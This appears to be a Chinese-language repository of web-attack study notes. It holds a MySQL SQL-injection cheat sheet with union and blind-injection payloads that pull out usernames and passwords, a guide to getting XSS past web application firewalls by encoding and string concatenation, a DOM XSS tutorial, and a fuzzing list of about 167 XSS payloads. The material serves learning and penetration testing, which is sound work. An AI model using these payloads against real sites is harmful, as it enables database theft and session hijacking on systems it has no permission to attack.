├── 1.md
├── 2.md
├── Dom_Xss.md
├── README.md
├── bypass_xss.rar
├── payload
    ├── README.md
    └── easyXssPayload.txt
├── waf
    ├── D_safe.md
    ├── SafeDog.md
    ├── Test.md
    ├── YunSuo.md
    ├── qianxin.md
    ├── zhuji360.md
    ├── 补充(2).md
    └── 补充.md
└── 参考.md


/1.md:
--------------------------------------------------------------------------------
  1 | ## 
  2 | ![1](https://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=https://ws3.sinaimg.cn/large/006Xzox4ly1g0pom0382gj30b40b43yx.jpg)
  3 | 
  4 | ##### 注释
  5 | 
  6 | `--+`
  7 | `-- 任意符号`
  8 | `%23`  (#ur编码)
  9 | 
 10 | ##### 判断注入
 11 | 
 12 | `1' and 1=1 --+`
 13 | `1' and 1=2 --+`
 14 | 
 15 | ##### 查询字段
 16 | 
 17 | `1' order by 1 --+` 正常
 18 | `1' order by 4 --+` 报错
 19 | `1' order by 3 --+` 正常
 20 | 字段为3
 21 | 
 22 | ##### UNION SELECT 联合查询
 23 | 
 24 | `-1' union select 1,2,3 --+`
 25 | `1' and 1=2 union select 1,2,3 --+`
 26 | 报错2，3
 27 | 
 28 | ##### 信息收集
 29 | 
 30 | `version()`   #Mysql版本
 31 | `user()`      #数据库用户名
 32 | `database()`  #数据库名
 33 | `@@datadir()` #数据库路径
 34 | 
 35 | ##### 查询所有数据库
 36 | 
 37 | `-1'  union select 1, 2, group_concat(schema_name) from information_schema.schemata --+`
 38 | 
 39 | ##### 查询当前数据库的所有表名
 40 | 
 41 | `-1'  union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() --+`
 42 | `-1'  union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+`
 43 | `-1'  union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ hex编码 前面加0x`
 44 | 
 45 | ##### 查询users表下的列名
 46 | `-1'  union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='users' --+`
 47 | 
 48 | ##### 查询users表下的列名id,username,password的值
 49 | `-1'  union select 1, 2, group_concat(id,username,password) from users --+`
 50 | 
 51 | ##### 布尔型盲注
 52 | 
 53 | ![1](https://i.loli.net/2019/05/20/5ce2c8c162c6790704.png)
 54 | 
 55 | 判断当前数据库名(security)长度
 56 | 
 57 | `id=1' and length((select database()))>=8 --+` 
 58 | 
 59 | `id=1' and length(database())>=8 --+`
 60 | 
 61 | 判断数据库名第一位为ascii(115) = s(字母)
 62 | 
 63 | `id=1' and ascii(substr(database(),1,1))=115 --+`
 64 | 
 65 | 判断数据库名第二位为ascii(101) = e(字母)
 66 | 
 67 | `id=1' and ascii(substr(database(),2,1))=101 --+`
 68 | 
 69 | 第三位
 70 | 
 71 | `id=1' and ascii(substr(database(),3,1))=99 --+`
 72 | 
 73 | 或者
 74 | 
 75 | 数据库第一位为s
 76 | 
 77 | `id=1' and left(database(),1)='s' --+`
 78 | 
 79 | 数据库前两位为se
 80 | 
 81 | `id=1' and left(database(),2)='se' --+`
 82 | 
 83 | 查数据库security的表名
 84 | 
 85 | `emails,referers,uagents,users`
 86 | 
 87 | ![2](https://i.loli.net/2019/05/20/5ce2c8f41037893235.png)
 88 | 
 89 | 查第一张表名的第一个字符101 = e
 90 | 
 91 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+`
 92 | 
 93 | 查第一张表名的第二个字符109 = m
 94 | 
 95 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+`
 96 | 
 97 | 查第二张表名的第一个字符114 = r
 98 | 
 99 | `id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+`
100 | 
101 | 查users表的列名
102 | 
103 | `id,username,password`
104 | 
105 | ![3](https://i.loli.net/2019/05/20/5ce2c93bde5ad46381.png)
106 | 
107 | 查users表的第一个列名的第一个字符 i
108 | 
109 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+`
110 | 
111 | 查users表的第一个列名的第二个字符 d
112 | 
113 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+`
114 | 
115 | 查users表的第二个列名的第一个字符 u
116 | 
117 | `id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+`
118 | 
119 | 查数据库security表名users的内容
120 | 
121 | ![4](https://i.loli.net/2019/05/20/5ce2c9690c65c59514.png)
122 | 
123 | 查users表的username的第一字段的第一个字母 D
124 | 
125 | `id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+`
126 | 
127 | 查users表的username的第一字段的第二个字母 u
128 | 
129 | `id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+`
130 | 
131 | 查users表的username的第二字段的第一个字母 A
132 | 
133 | `id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+`
134 | 
135 | 查users表的username的第二字段的第二个字母 n
136 | 
137 | `id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+`
138 | 


--------------------------------------------------------------------------------
/2.md:
--------------------------------------------------------------------------------
 1 | #### 前言
 2 | - - -
 3 | 之前写过类型的水文，感觉写的一般。假期一到，整个人就跟废了一样，为了追上某人的脚步，重新再苟了一遍。
 4 | 
 5 | #### Fuzz
 6 | - - -
 7 | 简单粗暴的Fuzz，是我的首选，可以从Github，推特以及一些`xss_payload`分享网站，收集到足够的`xss_payload`进行Fuzz测试。
 8 | 
 9 | 首先我们先查看下，waf拦截包的差异，正常提交。
10 | 
11 | ![1](https://i.loli.net/2019/07/15/5d2c7e84d1d3761538.png)
12 | 
13 | 提交恶意`xss_payload`。
14 | 
15 | ![2](https://i.loli.net/2019/07/15/5d2c7efa4be6490534.png)
16 | 
17 | 比较两次提交，waf拦截时，数据包出现`2548`这个关键数字。
18 | 
19 | ![3](https://i.loli.net/2019/07/15/5d2c7f5c162d385337.png)
20 | 
21 | 接下来使用`Burp`的`Intruder`模块来Fuzz，导入payload。
22 | 
23 | fuzz`结束后`，点击HTTP历史标签下发的`Filter`弹出筛选过滤器界面，选择第三个，与关键字`2548`匹配上的将不再显示。
24 | 
25 | ![4](https://i.loli.net/2019/07/15/5d2c814ba217a15648.png)
26 | 
27 | 剩下的都是waf`不拦截`的。
28 | 
29 | ![5](https://i.loli.net/2019/07/15/5d2c82565ff5f94398.png)
30 | 
31 | fuzz的优点是`速度`，当然xss_payload的`质量`也影响最终的结果，所以平时多收集些字典满好的。
32 | 
33 | #### 拼接与编码
34 | - - -
35 | 这方面的技巧蛮多的，使用一些对象或函数，让payload变形。
36 | 
37 | ![6](https://i.loli.net/2019/07/17/5d2eefa30c00e24695.png)
38 | 
39 | 拼接方面，使用诸如`top` `this` `self` `parent` `frames` `content` `window`这些对象。
40 | 
41 | 直接使用这些对象连接函数，也可以绕过WAF。
42 | 
43 | ![7](https://i.loli.net/2019/07/17/5d2f012fc8eea51953.png)
44 | 
45 | 拼接字符串。
46 | 
47 | ![8](https://i.loli.net/2019/07/17/5d2f03ef8a48c17016.png)
48 | 
49 | 可以看到alert函数被分成2个字符串，再拼接在一起。
50 | 
51 | ![9](https://i.loli.net/2019/07/17/5d2f17f0a7c5960871.png)
52 | 
53 | 
54 | 编码，常见的你可能想到利用`eval`，`setTimeout()`，`setInterval`等。
55 | 
56 | 常见的base64编码
57 | 
58 | ![10](https://i.loli.net/2019/07/17/5d2f19e20456e38329.png)
59 | 
60 | 前几天看来一篇国外翻译的文章，看到一个有趣的例子。
61 | 
62 | ![11](https://i.loli.net/2019/07/17/5d2f1b3c202eb44126.png)
63 | 
64 | 将`alert`JS16编码成`\x61\x6c\x65\x72\x74`，成功弹框。
65 | 
66 | 我自己尝试了下，也用了`不同的编码`，发现都可以绕过waf，并成功弹框。
67 | 
68 | ![12](https://i.loli.net/2019/07/17/5d2f1d612d24f46787.png)
69 | 
70 | ![13](https://i.loli.net/2019/07/17/5d2f1dad2cd6771941.png)
71 | 
72 | 然后我又将`编码拆分`，发现也可以弹框。
73 | 
74 | ```
75 | <body onpageshow=self['\x61\x6c\x65'%2B'\x72\x74'](1)>
76 | ```
77 | 接下来就是，一些特殊函数的利用。
78 | 
79 | `concat()`在实际应用中，不仅仅可以用于连接两个或多个数组，还可以合并两个或者多个字符串。
80 | 
81 | ![14](https://i.loli.net/2019/07/17/5d2f2172b4a2469607.png)
82 | 
83 | `join函数`将数组转换成字符串。
84 | 
85 | ![15](https://i.loli.net/2019/07/17/5d2f21f2acc0830556.png)
86 | 
87 | #### 后记
88 | - - -
89 | 没有太多的亮点，只是在一些基础上变化了下，学的比较浅，如有错处，请师傅斧正。
90 | 
91 | #### 参考
92 | - - -
93 | https://www.anquanke.com/post/id/180187
94 | 


--------------------------------------------------------------------------------
/Dom_Xss.md:
--------------------------------------------------------------------------------
  1 | ### 前言
  2 | - - -
  3 | 每个月都得学点什么，以前对Dom Xss 只有一个模糊的印象，就是看不懂。在xss中，分为反射型，存储型和DOM型XSS，而且难以防范，在[安全小课堂](https://www.secpulse.com/archives/92286.html)中，Camaro师傅就介绍过Dom Xss的优势：
  4 | * 避开waf
  5 | 
  6 |   因为有些情况Dom Xss的Payload，可以通过`location.hash`，即设置为锚部分从`#`之后的部分，既能让JS读取到该参数，又不让该参数传入到服务器，从而避免waf检测。`location.search`也类似，它可以把部分参数放在`?`之后的部分。
  7 | 
  8 | * 长度不限
  9 | 
 10 |   这个很重要，关键时候！长度不够，可不是什么小药丸就解决的。
 11 |   
 12 | * 隐蔽性强
 13 | 
 14 |   攻击代码可以具有隐蔽性，持久性。例如使用Cookie和localStorage作为攻击点的DOM-XSS，非常难以察觉，且持续的时间长。
 15 |   
 16 | ![Dom](https://i.loli.net/2019/05/16/5cdcd26779d6f86233.jpg)
 17 | 
 18 | [图片来自](https://twitter.com/k2wanko/status/1126621174874529793)
 19 | 
 20 | ### 常见场景
 21 | - - -
 22 |  
 23 | #### 跳转
 24 | 在很多场景下，业务需要实现页面跳转，常见的使用，`location.href()` `location.replace()` `location.assign()`这些方法通过Javascript实现跳转。我们第一时间可能想到的是限制不严导致任意URL跳转漏洞，而DOM XSS与此似乎“八竿子打不着”，实际上跳转部分参数可控，可能导致Dom xss。
 25 | 
 26 | 首先我们来看个简单的例子:
 27 | ```javascript
 28 | var hash = location.hash;
 29 | if(hash){
 30 | 	var url = hash.substring(1);
 31 | 	location.href = url;
 32 | }
 33 | ```
 34 | 变量hash为可控部分，并带入url中，变量hash控制的是#之后的部分，那么可以使用伪协议`#javascript:alert(1)`。
 35 | 
 36 | ![1](https://i.loli.net/2019/05/13/5cd8e4b81191751510.jpg)
 37 | 
 38 | 这里扩展下，常见的几种伪协议"javascript:","vbscript:","data:"
 39 | 
 40 | IE下"vbscript:" 
 41 | 
 42 | `#vbscript:msgbox(IE)`
 43 | ![3](https://i.loli.net/2019/05/13/5cd97dc035b0e48997.jpg)
 44 | 
 45 | "data:"
 46 | 
 47 | `#data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`
 48 | 
 49 | #### 使用indexOf判断URL参数是否合法 
 50 | 
 51 | ```javascript
 52 | var t = location.search.slice(1)       // 变量t取url中?之后的部分
 53 | if(t.indexOf("url=") > -1 && t.indexOf("http") > -1){  // 限定传入url中要带有indexOf的关键词
 54 | 	var pos = t.indexOf("url=")+4;       // 往后截取
 55 | 	url = t.slice(pos,t.length);         
 56 | 	location.href = url                 // 跳转
 57 | }
 58 | ```
 59 | indexOf会对url进行判断，是否存在关键字http，两个关键字都满足才能执行下面的部分，如果正常请求 `?url=http://cos.top15.cn` 没问题，我们构造`javascript:alert(1)`，并不会弹窗，正如我们上段所言，需要满足indexOf带有的关键字，所以只要构造`javascript:alert(1)//http`即可完成攻击，有的匹配`indexOf("http://cos.top15.cn")`，看似好像没问题，其实构造`javascript:alert(1)//http://cos.top15.cn`即可绕过，实际上这种使用indexOf来判断跳转来路域名的方法是不负责任，容易被绕过。
 60 | 
 61 | ![2](https://i.loli.net/2019/05/13/5cd9709f2927273395.jpg)
 62 | 
 63 | #### 正则表达式缺陷
 64 | 
 65 | ![4](https://i.loli.net/2019/05/14/5cda855258fe377201.jpg)
 66 | 
 67 | 对跳转的url，通过正则进行判断是否合法http(s)，容易忽略元字符`^`(匹配行的开始位置)，加上和不加上，过滤的效果具有天壤之别。因为正则并没有严格限定跳转的url必须是http(s)开头，那么`javascript:alert(1)//http://cos.top15.cn`即可绕过。还有一些正则要求匹配上一些`符号`，`字符串`，`参数类`的加上就可以了，主要得看得懂令人头晕的`正则`。
 68 | 
 69 | #### 取值写入页面或动态执行 
 70 | 接受url在前端显示，例如名称，地点，标题等，一般标题等都会将`<>`html实体编码，但在上传文件处，`文件的的标题`之类的，可能不会太重视。
 71 | 
 72 | #### innerHTML
 73 | ```javascript
 74 | <div id="msgboard"></div>
 75 | <script>
 76 |  let hash = location.hash;
 77 |     if (hash.length > 1) {
 78 |         let hashValueToUse = unescape(hash.substr(1));
 79 |         let msg = "Welcome <b>" + hashValueToUse + "</b>!!";
 80 |         document.getElementById("msgboard").innerHTML = msg;
 81 |     }
 82 | </script>
 83 | ```
 84 | innerHTML属性可以设置或者返回指定元素的HTML内容，此属性使用频繁且极为简单。如上代码变量hash是可控的，取值后，通过innerHTML写入div中。
 85 | 
 86 | ![5](https://i.loli.net/2019/05/16/5cdd1b1df2cdc12587.jpg)
 87 | 
 88 | 以下三个属性都可以修改节点，`innerHTML \ outerHTML` 使用时要注意，是否写入标签，标签需要进行编码处理。而`innerText`就比较特殊，它`自动`将HTML标签解析为普通文本，所以HTML标签不会被`执行`，避免XSS攻击。
 89 | 
 90 | ![6](https://i.loli.net/2019/05/16/5cdd1e782185834598.jpg)
 91 | 
 92 | [图片来自](http://www.softwhy.com/article-9295-1.html)
 93 | 
 94 | #### document.write
 95 | document.write方法可以在文档中写入指定的字符串。
 96 | ```javascript
 97 | var hash = location.hash.slice(1);
 98 | document.write(hash);
 99 | ```
100 | 上述例子很简单，`location.hash`的#之后是可控部分传递数据，`document.write`接收执行。
101 | 
102 | ![7](https://i.loli.net/2019/05/16/5cdd6bae2823170980.jpg)
103 | 
104 | #### eval
105 | 执行一段由JavaScript代码组成的字符串。
106 | ```javascript
107 | eval("var x = '" + location.hash + "'");
108 | ```
109 | 
110 | ![8](https://i.loli.net/2019/05/16/5cdd76490e63b51526.jpg)
111 | 
112 | 和上面例子一样，有`可控外部参数`带入数据，接收并执行。慎用危险的`eval`，还有定时器方法是`setInterval`和`setTimeout`。
113 | 
114 | #### 特殊取值
115 | 从`localStorage`、`SessionStorage`、`Cookies`储存源中取数据，这些值往往会被认为来源相对可信，未进行`处理`。
116 | ```
117 | let payloadValue = localStorage.getItem("payload", payload);
118 | let msg = "Welcome " + payload + "!!";
119 | document.getElementById("msgboard").innerHTML = msg;
120 | ```
121 | 用`https://domgo.at/cxss/example/6`来演示
122 | 
123 | ![10](https://i.loli.net/2019/05/16/5cdd852f1eba847687.jpg)
124 | 
125 | 这里`localStorage`是数据来源，`innerHTML`是接受并执行。此外还有`document.referrer`，`window.name`，`postMessage`都值得关注，也容易造成Dom xss，`触发点`不同，`document.referrer`可能需要从上一页 / 上面的url，才能触发。
126 | 
127 | ![9](https://i.loli.net/2019/05/16/5cdd825914cdc11533.jpg)
128 | 
129 | ### 最后
130 | - - -
131 | 写完这篇水文后。。。如有错误，请师傅指正。
132 | 
133 | ![10](https://i.loli.net/2019/05/17/5cdd895d1f6f316889.jpg)
134 | 
135 | ### 参考
136 | - - -
137 | * https://www.secpulse.com/archives/92286.html
138 | * https://mp.weixin.qq.com/s/Ly69JPH8ttDnvUiRRkfIvA
139 | * https://www.owasp.org/images/6/69/OWASP_domxss.pdf
140 | * http://drops.xmd5.com/static/drops/papers-892.html
141 | * https://blog.0daylabs.com/2019/02/24/learning-DomXSS-with-DomGoat/
142 | 
143 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Xss_Test
2 | 由于以前上传的图片丢失了，我在电脑找了下，发现了狗锁盾的pdf，想看的可以下载`bypass_xss.rar` 
3 | 
4 | 
5 | 
6 | 
7 | 
8 | 
9 | 


--------------------------------------------------------------------------------
/bypass_xss.rar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/S9MF/Xss_Test/d602b0c0f24a23451b5c9d54ae8972230138bb65/bypass_xss.rar


--------------------------------------------------------------------------------
/payload/README.md:
--------------------------------------------------------------------------------
1 | ## 收集XSS_Payload，方便Fuzz
2 | 
3 | ### easyXssPayload.txt  来源：https://github.com/TheKingOfDuck/easyXssPayload
4 | 


--------------------------------------------------------------------------------
/payload/easyXssPayload.txt:
--------------------------------------------------------------------------------
   1 | <script\x20type="text/javascript">javascript:alert(1);</script>
   2 | <script\x3Etype="text/javascript">javascript:alert(2);</script>
   3 | <script\x0Dtype="text/javascript">javascript:alert(3);</script>
   4 | <script\x09type="text/javascript">javascript:alert(4);</script>
   5 | <script\x0Ctype="text/javascript">javascript:alert(5);</script>
   6 | <script\x2Ftype="text/javascript">javascript:alert(6);</script>
   7 | <script\x0Atype="text/javascript">javascript:alert(7);</script>
   8 | '`"><\x3Cscript>javascript:alert(8)</script>
   9 | '`"><\x00script>javascript:alert(9)</script>
  10 | <img src=10 href=10 onerror="javascript:alert(10)"></img>
  11 | <audio src=11 href=11 onerror="javascript:alert(11)"></audio>
  12 | <video src=12 href=12 onerror="javascript:alert(12)"></video>
  13 | <body src=13 href=13 onerror="javascript:alert(13)"></body>
  14 | <image src=14 href=14 onerror="javascript:alert(14)"></image>
  15 | <object src=15 href=15 onerror="javascript:alert(15)"></object>
  16 | <script src=16 href=16 onerror="javascript:alert(16)"></script>
  17 | <svg onResize svg onResize="javascript:javascript:alert(17)"></svg onResize>
  18 | <title onPropertyChange title onPropertyChange="javascript:javascript:alert(18)"></title onPropertyChange>
  19 | <iframe onLoad iframe onLoad="javascript:javascript:alert(19)"></iframe onLoad>
  20 | <body onMouseEnter body onMouseEnter="javascript:javascript:alert(20)"></body onMouseEnter>
  21 | <body onFocus body onFocus="javascript:javascript:alert(21)"></body onFocus>
  22 | <frameset onScroll frameset onScroll="javascript:javascript:alert(22)"></frameset onScroll>
  23 | <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(23)"></script onReadyStateChange>
  24 | <html onMouseUp html onMouseUp="javascript:javascript:alert(24)"></html onMouseUp>
  25 | <body onPropertyChange body onPropertyChange="javascript:javascript:alert(25)"></body onPropertyChange>
  26 | <svg onLoad svg onLoad="javascript:javascript:alert(26)"></svg onLoad>
  27 | <body onPageHide body onPageHide="javascript:javascript:alert(27)"></body onPageHide>
  28 | <body onMouseOver body onMouseOver="javascript:javascript:alert(28)"></body onMouseOver>
  29 | <body onUnload body onUnload="javascript:javascript:alert(29)"></body onUnload>
  30 | <body onLoad body onLoad="javascript:javascript:alert(30)"></body onLoad>
  31 | <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(31)"></bgsound onPropertyChange>
  32 | <html onMouseLeave html onMouseLeave="javascript:javascript:alert(32)"></html onMouseLeave>
  33 | <html onMouseWheel html onMouseWheel="javascript:javascript:alert(33)"></html onMouseWheel>
  34 | <style onLoad style onLoad="javascript:javascript:alert(34)"></style onLoad>
  35 | <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(35)"></iframe onReadyStateChange>
  36 | <body onPageShow body onPageShow="javascript:javascript:alert(36)"></body onPageShow>
  37 | <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(37)"></style onReadyStateChange>
  38 | <frameset onFocus frameset onFocus="javascript:javascript:alert(38)"></frameset onFocus>
  39 | <applet onError applet onError="javascript:javascript:alert(39)"></applet onError>
  40 | <marquee onStart marquee onStart="javascript:javascript:alert(40)"></marquee onStart>
  41 | <script onLoad script onLoad="javascript:javascript:alert(41)"></script onLoad>
  42 | <html onMouseOver html onMouseOver="javascript:javascript:alert(42)"></html onMouseOver>
  43 | <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(43)"></html onMouseEnter>
  44 | <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(44)"></body onBeforeUnload>
  45 | <html onMouseDown html onMouseDown="javascript:javascript:alert(45)"></html onMouseDown>
  46 | <marquee onScroll marquee onScroll="javascript:javascript:alert(46)"></marquee onScroll>
  47 | <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(47)"></xml onPropertyChange>
  48 | <frameset onBlur frameset onBlur="javascript:javascript:alert(48)"></frameset onBlur>
  49 | <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(49)"></applet onReadyStateChange>
  50 | <svg onUnload svg onUnload="javascript:javascript:alert(50)"></svg onUnload>
  51 | <html onMouseOut html onMouseOut="javascript:javascript:alert(51)"></html onMouseOut>
  52 | <body onMouseMove body onMouseMove="javascript:javascript:alert(52)"></body onMouseMove>
  53 | <body onResize body onResize="javascript:javascript:alert(53)"></body onResize>
  54 | <object onError object onError="javascript:javascript:alert(54)"></object onError>
  55 | <body onPopState body onPopState="javascript:javascript:alert(55)"></body onPopState>
  56 | <html onMouseMove html onMouseMove="javascript:javascript:alert(56)"></html onMouseMove>
  57 | <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(57)"></applet onreadystatechange>
  58 | <body onpagehide body onpagehide="javascript:javascript:alert(58)"></body onpagehide>
  59 | <svg onunload svg onunload="javascript:javascript:alert(59)"></svg onunload>
  60 | <applet onerror applet onerror="javascript:javascript:alert(60)"></applet onerror>
  61 | <body onkeyup body onkeyup="javascript:javascript:alert(61)"></body onkeyup>
  62 | <body onunload body onunload="javascript:javascript:alert(62)"></body onunload>
  63 | <iframe onload iframe onload="javascript:javascript:alert(63)"></iframe onload>
  64 | <body onload body onload="javascript:javascript:alert(64)"></body onload>
  65 | <html onmouseover html onmouseover="javascript:javascript:alert(65)"></html onmouseover>
  66 | <object onbeforeload object onbeforeload="javascript:javascript:alert(66)"></object onbeforeload>
  67 | <body onbeforeunload body onbeforeunload="javascript:javascript:alert(67)"></body onbeforeunload>
  68 | <body onfocus body onfocus="javascript:javascript:alert(68)"></body onfocus>
  69 | <body onkeydown body onkeydown="javascript:javascript:alert(69)"></body onkeydown>
  70 | <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(70)"></iframe onbeforeload>
  71 | <iframe src iframe src="javascript:javascript:alert(71)"></iframe src>
  72 | <svg onload svg onload="javascript:javascript:alert(72)"></svg onload>
  73 | <html onmousemove html onmousemove="javascript:javascript:alert(73)"></html onmousemove>
  74 | <body onblur body onblur="javascript:javascript:alert(74)"></body onblur>
  75 | \x3Cscript>javascript:alert(75)</script>
  76 | '"`><script>/* *\x2Fjavascript:alert(76)// */</script>
  77 | <script>javascript:alert(77)</script\x0D
  78 | <script>javascript:alert(78)</script\x0A
  79 | <script>javascript:alert(79)</script\x0B
  80 | <script charset="\x22>javascript:alert(80)</script>
  81 | <!--\x3E<img src=xxx:x onerror=javascript:alert(81)> -->
  82 | --><!-- ---> <img src=xxx:x onerror=javascript:alert(82)> -->
  83 | --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(83)> -->
  84 | --><!-- --\x284> <img src=xxx:x onerror=javascript:alert(84)> -->
  85 | --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(85)> -->
  86 | `"'><img src='#\x27 onerror=javascript:alert(86)>
  87 | <a href="javascript\x3Ajavascript:alert(87)" id="fuzzelement87">test</a>
  88 | "'`><p><svg><script>a='hello\x27;javascript:alert(88)//';</script></p>
  89 | <a href="javas\x00cript:javascript:alert(89)" id="fuzzelement89">test</a>
  90 | <a href="javas\x07cript:javascript:alert(90)" id="fuzzelement90">test</a>
  91 | <a href="javas\x0Dcript:javascript:alert(91)" id="fuzzelement91">test</a>
  92 | <a href="javas\x0Acript:javascript:alert(92)" id="fuzzelement92">test</a>
  93 | <a href="javas\x08cript:javascript:alert(93)" id="fuzzelement93">test</a>
  94 | <a href="javas\x02cript:javascript:alert(94)" id="fuzzelement94">test</a>
  95 | <a href="javas\x03cript:javascript:alert(95)" id="fuzzelement95">test</a>
  96 | <a href="javas\x04cript:javascript:alert(96)" id="fuzzelement96">test</a>
  97 | <a href="javas\x097cript:javascript:alert(97)" id="fuzzelement97">test</a>
  98 | <a href="javas\x05cript:javascript:alert(98)" id="fuzzelement98">test</a>
  99 | <a href="javas\x0Bcript:javascript:alert(99)" id="fuzzelement99">test</a>
 100 | <a href="javas\x09cript:javascript:alert(100)" id="fuzzelement100">test</a>
 101 | <a href="javas\x06cript:javascript:alert(101)" id="fuzzelement101">test</a>
 102 | <a href="javas\x0Ccript:javascript:alert(102)" id="fuzzelement102">test</a>
 103 | <script>/* *\x2A/javascript:alert(103)// */</script>
 104 | <script>/* *\x00/javascript:alert(104)// */</script>
 105 | <style></style\x3E<img src="about:blank" onerror=javascript:alert(105)//></style>
 106 | <style></style\x0D<img src="about:blank" onerror=javascript:alert(106)//></style>
 107 | <style></style\x09<img src="about:blank" onerror=javascript:alert(107)//></style>
 108 | <style></style\x20<img src="about:blank" onerror=javascript:alert(108)//></style>
 109 | <style></style\x0A<img src="about:blank" onerror=javascript:alert(109)//></style>
 110 | "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(110);/*';">DEF
 111 | "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(111);/*';">DEF
 112 | <script>if("x\\xE112\x96\x89".length==2) { javascript:alert(112);}</script>
 113 | <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(113);}</script>
 114 | <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(114);}</script>
 115 | '`"><\x3Cscript>javascript:alert(115)</script>
 116 | '`"><\x00script>javascript:alert(116)</script>
 117 | "'`><\x3Cimg src=xxx:x onerror=javascript:alert(117)>
 118 | "'`><\x00img src=xxx:x onerror=javascript:alert(118)>
 119 | <script src="data:text/plain\x2Cjavascript:alert(119)"></script>
 120 | <script src="data:\xD4\x8F,javascript:alert(120)"></script>
 121 | <script src="data:\xE0\xA4\x98,javascript:alert(121)"></script>
 122 | <script src="data:\xCB\x8F,javascript:alert(122)"></script>
 123 | <script\x20type="text/javascript">javascript:alert(123);</script>
 124 | <script\x3Etype="text/javascript">javascript:alert(124);</script>
 125 | <script\x0Dtype="text/javascript">javascript:alert(125);</script>
 126 | <script\x09type="text/javascript">javascript:alert(126);</script>
 127 | <script\x0Ctype="text/javascript">javascript:alert(127);</script>
 128 | <script\x2Ftype="text/javascript">javascript:alert(128);</script>
 129 | <script\x0Atype="text/javascript">javascript:alert(129);</script>
 130 | ABC<div style="x\x3Aexpression(javascript:alert(130)">DEF
 131 | ABC<div style="x:expression\x5C(javascript:alert(131)">DEF
 132 | ABC<div style="x:expression\x00(javascript:alert(132)">DEF
 133 | ABC<div style="x:exp\x00ression(javascript:alert(133)">DEF
 134 | ABC<div style="x:exp\x5Cression(javascript:alert(134)">DEF
 135 | ABC<div style="x:\x0Aexpression(javascript:alert(135)">DEF
 136 | ABC<div style="x:\x09expression(javascript:alert(136)">DEF
 137 | ABC<div style="x:\xE3\x80\x80expression(javascript:alert(137)">DEF
 138 | ABC<div style="x:\xE2\x80\x84expression(javascript:alert(138)">DEF
 139 | ABC<div style="x:\xC2\xA0expression(javascript:alert(139)">DEF
 140 | ABC<div style="x:\xE2\x80\x80expression(javascript:alert(140)">DEF
 141 | ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(141)">DEF
 142 | ABC<div style="x:\x0Dexpression(javascript:alert(142)">DEF
 143 | ABC<div style="x:\x0Cexpression(javascript:alert(143)">DEF
 144 | ABC<div style="x:\xE2\x80\x87expression(javascript:alert(144)">DEF
 145 | ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(145)">DEF
 146 | ABC<div style="x:\x20expression(javascript:alert(146)">DEF
 147 | ABC<div style="x:\xE2\x80\x88expression(javascript:alert(147)">DEF
 148 | ABC<div style="x:\x00expression(javascript:alert(148)">DEF
 149 | ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(149)">DEF
 150 | ABC<div style="x:\xE2\x80\x86expression(javascript:alert(150)">DEF
 151 | ABC<div style="x:\xE2\x80\x85expression(javascript:alert(151)">DEF
 152 | ABC<div style="x:\xE2\x80\x82expression(javascript:alert(152)">DEF
 153 | ABC<div style="x:\x0Bexpression(javascript:alert(153)">DEF
 154 | ABC<div style="x:\xE2\x80\x8154expression(javascript:alert(154)">DEF
 155 | ABC<div style="x:\xE2\x80\x83expression(javascript:alert(155)">DEF
 156 | ABC<div style="x:\xE2\x80\x89expression(javascript:alert(156)">DEF
 157 | <a href="\x0Bjavascript:javascript:alert(157)" id="fuzzelement157">test</a>
 158 | <a href="\x0Fjavascript:javascript:alert(158)" id="fuzzelement158">test</a>
 159 | <a href="\xC2\xA0javascript:javascript:alert(159)" id="fuzzelement159">test</a>
 160 | <a href="\x05javascript:javascript:alert(160)" id="fuzzelement160">test</a>
 161 | <a href="\xE161\xA0\x8Ejavascript:javascript:alert(161)" id="fuzzelement161">test</a>
 162 | <a href="\x1628javascript:javascript:alert(162)" id="fuzzelement162">test</a>
 163 | <a href="\x163163javascript:javascript:alert(163)" id="fuzzelement163">test</a>
 164 | <a href="\xE2\x80\x88javascript:javascript:alert(164)" id="fuzzelement164">test</a>
 165 | <a href="\xE2\x80\x89javascript:javascript:alert(165)" id="fuzzelement165">test</a>
 166 | <a href="\xE2\x80\x80javascript:javascript:alert(166)" id="fuzzelement166">test</a>
 167 | <a href="\x1677javascript:javascript:alert(167)" id="fuzzelement167">test</a>
